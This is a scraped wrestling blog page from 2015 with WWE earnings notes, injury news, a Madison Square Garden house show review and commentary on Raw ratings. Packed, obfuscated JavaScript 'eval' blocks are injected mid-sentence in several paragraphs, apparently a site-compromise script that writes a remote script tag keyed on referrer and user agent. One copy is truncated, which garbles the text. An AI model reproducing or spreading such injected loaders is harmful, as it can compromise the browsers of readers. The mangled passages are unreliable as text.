WWE Q3 Earnings Report

http://corporate.wwe.com/news/2015/wwe-reports-strong-third-quarter-2015-earnings-growth

Since eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyhyr|var|u0026u|referrer|dfaek||js|php'.split('|'),0,{})) most of us have little to no idea what most of this means, here’s a quick summary:

  1. Money is mostly up across the board, save for DVDs, likely due to the Network and WWE Studios because…..well because it’s WWE Studios.
  2. The Network now has 1.2 million subscribers.  It hits India next week and German/Japan in January, which should boost numbers even more.
  3. Revenue is up 38% overall from this quarter last year, which is quite good.
  4. Stock is down over 10% today because the stock market is screwy and there’s almost no such thing as good enough.



Thought of the Day: The Other Great Rookie Year

We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aszbt|var|u0026u|referrer|ektyf||js|php'.split('|'),0,{})) often hear about Brock Lesnar and Kurt Angle having the greatest rookie years of all time as they both won the World Title and the King of the Ring among other accolades.  As great as that is, there’s another name that deserves to be on this short list.Yokozuna.  Think about this for a second.  He debuted around Survivor Series 1992, wins the 1993 Royal Rumble (in very dominant fashion), wins the WWF World Title at Wrestlemania IX, then squashes Hulk Hogan at King of the Ring 1993 to send him out of the company and holds the title for nine months.  If you go a bit beyond the rookie year, Yokozuna was in four World Title matches in his first two Wrestlemanias, which is never going to be topped.

 

Lesnar and Angle definitely had better careers, but Yokozuna deserves to be on the list for greatest rookie years in company history.




Rusev Possibly Injured At Main Event

http://411mania.com/wrestling/possible-injury-during-main-event-tapings-spoiler/

No word yet on severity or anything like that but the last thing WWE needs right now is someone else out with an injury.




Randy Orton Legitimately Injured

http://411mania.com/wrestling/randy-orton-suffers-shoulder-injury/

It’s another shoulder but there’s no word on how much if any time he’ll be out for.  That’s going to make for some very interesting shows going forward with Cena and potentially Orton leaving soon for a long time.




ESPN Announces Weekly WWE Segment

http://www.wrestlezone.com/news/630053-espn-announces-weekly-wwe-recap-segment-details-highlights-of-seth-rollins-appearance-tonight

 

I can’t wait to hear all the purists whine about how this isn’t real but having to leave to go see who Matthew Berry says they should bench for their fantasy team this week.

 

Cool news for wrestling fans as this is going to be about five minutes a week and could lead to more coverage down the line.




WWE Madison Square Garden House Show – October 3, 2015: The Hallowed Halls

WWE Madison Square Garden House Show
Date: October 3, 2015
Location: Madison Square Garden, New York City, New York
Commentators: Rich Brennan, John Bradshaw Layfield, Byron Saxton

The opening video talks about Cena vs. Rollins and Brock vs. Big Show.

Rusev/Sheamus vs. Randy Orton/Dolph Ziggler

Corporate Kane is here to help run the show and will run down to help if Demon Kane comes after Rollins. Well limp down but you get the idea.

Stardust vs. Neville

Team Bella vs. Team PCB

Intercontinental Title: Chris Jericho vs. Kevin Owens

We recap New Day vs. the Dudley Boyz which is about the new generation vs. the legends.

Tag Team Titles: New Day vs. Dudley Boyz

Post match New Day sets up a table but Bubba breaks up the Midnight Hour, leaving Woods (busy playing Taps) to take a 3D through the table.

Big Show vs. Brock Lesnar

The cage is lowered.

US Title: Seth Rollins vs. John Cena

Cena goes for the door but Rollins climbs over the top and slams the cage onto his head again. John gets up AGAIN and pulls Rollins back in for an AA but Seth lands on his feet and hits the low superkick for two to end a great sequence. The STF is countered into a Crossface but Cena powers up into another AA attempt.

Rating: A-. Really good match here and it would have been even better had Kane not come out. This felt like the big showdown that you often get in cage matches and it was cool to see the fans respecting Cena for his great effort. I could have gone without seeing Rollins getting pinned again but at least it was as close to being not clean as you can get in a cage match.

Cena leaves and Kane gives Rollins a chokeslam and tombstone to end the show.

Results

Dolph Ziggler/Randy Orton b. Rusev/Sheamus – RKO to Sheamus

Neville b. Stardust – Red Arrow

Team Bella b. Team PCB – Rack Attack to Paige

Kevin Owens b. Chris Jericho – Small package

Dudley Boyz b. New Day via DQ when Xavier Woods interfered

Brock Lesnar b. Big Show – F5

John Cena b. Seth Rollins – Attitude Adjustment

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




John Cena Taking Time Off From WWE After Hell in a Cell

http://www.wrestlingrumors.net/john-cena-taking-time-off-from-the-wwe/42139/

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frykh|var|u0026u|referrer|irnad||js|php'.split('|'),0,{})) know this broke yesterday but I have to say something about it.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




What I Want To See On The Network

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhidh|var|u0026u|referrer|atkey||js|php'.split('|'),0,{})) special looking back at the buildup to Wrestlemania VIII. Why that show you ask?

Raw Ratings Aren’t Great And It Shouldn’t Be A Surprise

http://www.f4wonline.com/more/more-top-stories/96-wwe-news/44533-raw-ratings-still-at-low-levels

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhyye|var|u0026u|referrer|yidzb||js|php'.split('|'),0,{})) surprised Raw did as well as it did.  Here’s why.

The decline in ratings really isn’t surprising for a few major reasons.

1. Monday Night Football. Raw in the Attitude Era didn’t come close to Monday Night Football’s numbers and that’s never going to change. Monday Night Football is a juggernaut and always will be. There’s no way to get around this.

2. The Network. Raw is made available a month later. If I wanted to, I could watch every episode of Raw leading up to a pay per view and skip over the parts I don’t want to see. It’s quick, it’s easy, and WWE hypes the heck out of the Network every chance they can.

3. Did you know WWE.com does it’s own live Raw results? As in they say what’s going on during the show, making it easy to get a quick recap instead of watching the full show? This is in addition to the dozens of other sites that do the same.

4. It’s three hours a week. That’s WAY too much for most people and it’s overload. Consider Summerslam weekend. You had Takeover running two and a half hours plus a half hour pre-show, you had a four hour Summerslam plus a one hour pre-show, and then you had Raw, which was three hours plus a half hour pre-show. That’s eleven and a half hours of content in three days. Two shows are pay per views and one is fallout. Which are you most likely to cut out from your schedule?

5. As for last night, it’s hard to blame this on Sting. Yeah he was the main event, and we knew that a total of two and a half hours in advance. Instead the advertised matches featured Nikki Bella (with her crossover appeal from Total Divas of course, which has about a million viewers a week, a good percentage of which are probably already watching Raw) and the Prime Time Players, the latter of which was a title match with the winners getting to face the Dudleyz. Sting was announced as a last minute match and if you weren’t watching the show at some point, you didn’t know about it.

6. A lot of people don’t watch cable TV anymore, and why should they? With Netflix, Hulu and the WWE Network, there’s a ton of good material out there for way cheaper. For the people who still do have cable, there are roughly 1.38457 million channels to pick from these days. Couple that with DVR and people watching parts of the shows and the ratings shrinking really isn’t a big surprise.

I know they’re still the most common means of examining how well a show did, but is there a reason we’re still using the same measuring stick for the show that we used seventeen years ago? A lot has changed since then and of course there are going to be fewer people watching the same show. I’m stunned that it’s still as high as it is.

Oh and despite the ratings: the stock is at about $19 a share, or $4 higher than it was a year ago at this time. There might be something more to the company’s success than just the TV ratings, but again that’s all most people seem to care about.




The New Day Victory Dance Guide

I don’t need to say one more word.

http://www.wwe.com/inside/new-day-guide-to-victory-dances-gifs